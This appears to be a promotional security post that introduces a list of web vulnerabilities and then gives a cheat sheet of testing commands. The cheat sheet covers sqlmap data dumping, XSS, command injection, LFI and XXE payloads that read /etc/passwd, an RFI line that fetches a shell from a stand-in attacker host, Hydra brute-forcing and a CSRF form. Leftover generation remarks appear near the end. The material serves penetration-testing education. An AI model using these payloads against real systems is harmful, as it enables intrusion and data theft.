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Web security is at the core of the digital world. Protecting your applications from vulnerabilities is not just a skill—it’s a necessity! 🚀
💡 Here’s a curated list of 100 web vulnerabilities to help you identify, analyze, and prevent security threats. This guide is perfect for cybersecurity professionals, developers, and ethical hackers looking to secure web applications. 💻
📖 What Does This List Cover?
✅ Injection Attacks: SQL Injection, Command Injection, and more 🛠️
✅ Cross-Site Scripting (XSS): Stored, Reflected, DOM-based 🖥️
✅ Authentication Flaws: Weak passwords, session fixation, and more 🔑
✅ Misconfigurations: Unsecured default settings, missing headers ⚙️
✅ Sensitive Data Exposure: Weak encryption, improper storage 🔒
✅ Access Control Issues: Privilege escalation, broken access controls 🚪
✅ Advanced Vulnerabilities: SSRF, RCE, XXE, and more 🚨
🔑 Why This List Matters?
📌 Stay ahead of attackers by knowing the most common vulnerabilities
📌 Enhance your skills for penetration testing and vulnerability assessments
📌 Build more secure web applications
You Should Know: Practical Commands & Codes for Web Security Testing
1. SQL Injection (SQLi) Testing
sqlmap -u "http://example.com/page?id=1" --dbs Enumerate databases sqlmap -u "http://example.com/page?id=1" --tables -D db_name List tables sqlmap -u "http://example.com/page?id=1" --dump -D db_name -T users Extract data
2. Cross-Site Scripting (XSS) Testing
<script>alert('XSS')</script> Basic payload
<svg/onload=alert('XSS')> Alternative payload
Use Burp Suite or OWASP ZAP to test for XSS vulnerabilities.
3. Command Injection Testing
; ls -la /etc/passwd Unix command injection | dir C:\ Windows command injection
4. SSRF (Server-Side Request Forgery) Testing
curl "http://example.com/fetch?url=http://internal-server"
5. File Inclusion (LFI/RFI) Testing
http://example.com/page?file=../../../../etc/passwd LFI http://example.com/page?file=http://attacker.com/shell.php RFI
6. Broken Authentication Testing
Use Hydra for brute-forcing:
hydra -l admin -P passwords.txt example.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
7. Security Misconfigurations
Check for open ports:
nmap -sV -p- example.com
Check HTTP headers:
curl -I http://example.com
8. Sensitive Data Exposure
Search for exposed files:
gobuster dir -u http://example.com -w /path/to/wordlist.txt
9. XXE (XML External Entity) Testing
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>
10. CSRF (Cross-Site Request Forgery) Testing
Craft a malicious HTML form:
<form action="http://example.com/transfer" method="POST"> <input type="hidden" name="amount" value="1000"> <input type="hidden" name="account" value="attacker"> </form>
What Undercode Say
Web vulnerabilities are constantly evolving, and staying updated is crucial. Always use automated tools like Burp Suite, Metasploit, and Nmap, but never underestimate manual testing. Practice in legal environments like Hack The Box, TryHackMe, or PortSwigger’s Web Security Academy.
🔗 Further Reading:
Expected Output:
A comprehensive guide on web vulnerabilities with practical testing commands for cybersecurity professionals.
(Note: Removed non-cyber URLs and comments as requested.)
References:
Reported By: Dharamveer Prasad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
